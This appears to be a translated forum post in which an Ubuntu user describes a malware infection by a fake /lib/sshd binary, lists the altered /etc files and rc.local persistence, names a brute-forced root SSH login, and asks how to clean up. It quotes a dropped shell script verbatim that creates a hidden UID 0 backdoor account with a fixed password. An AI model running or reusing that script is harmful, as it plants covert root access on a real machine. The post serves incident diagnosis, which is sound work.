Sono abbastanza certo che il mio laptop Ubuntu 13.10 sia infetto da una sorta di malware.
Ogni tanto trovo un processo / lib / sshd (di proprietà di root) in esecuzione e che consuma molta CPU. Non è il server sshd che esegue / usr / sbin / sshd.
Il binario ha le autorizzazioni --wxrw-rwt e genera e genera script nella directory / lib. Uno recente si chiama 13959730401387633604 e procede come segue
#!/bin/sh
exec 1>/dev/null
exec 2>/dev/null
useradd -g 0 -u 0 -o gusr
echo gusr:chaonimabi123456123 | chpasswd
L'utente gusr è stato creato dal malware in modo indipendente, quindi chpasswd si blocca consumando il 100% della CPU.
Finora ho identificato che l'utente gusr è stato aggiunto ai file in / etc /
/etc/group
/etc/gshadow
/etc/passwd
/etc/shadow
/etc/subgid
/etc/subuid
Sembra che il malware abbia creato copie di tutti questi file con il suffisso "-". L'elenco completo dei file / etc / che sono stati modificati da root è disponibile qui .
Inoltre, il file / etc / hosts è stato modificato in questo .
Il file / lib / sshd inizia aggiungendosi alla fine del file /etc/init.d/rc.local!
Ho rimosso l'utente, rimosso i file, ucciso l'albero dei dati elaborati, modificato i miei passwor e rimosso le chiavi pubbliche ssh.
Sono consapevole di essere praticamente fregato e molto probabilmente reinstallerò l'intero sistema. Tuttavia, dal momento che accedo a molte altre macchine, sarebbe bene almeno tentare di rimuoverlo e capire come l'ho ottenuto. Qualche suggerimento su come procedere sarebbe apprezzato.
Sembra che siano entrati il 25 marzo con il login root forzato brutalmente. Non avevo idea che root ssh fosse abilitato di default in Ubuntu. L'ho disabilitato e ho messo denyhosts.
L'accesso era dal 59.188.247.236, apparentemente da qualche parte a Hong Kong.
Ho ricevuto il laptop da EmperorLinux e hanno abilitato l'accesso root. Se ne hai uno e stai eseguendo sshd, fai attenzione.
Linux/Ebury
. È qualcos'altro, e forse non ha un nome assegnato. Ebury non avrebbe creato un nuovo account utente e avrebbe modificato la libreria condivisa utilizzata da openssh, non rilasciata in un nuovo binario chiamato sshd.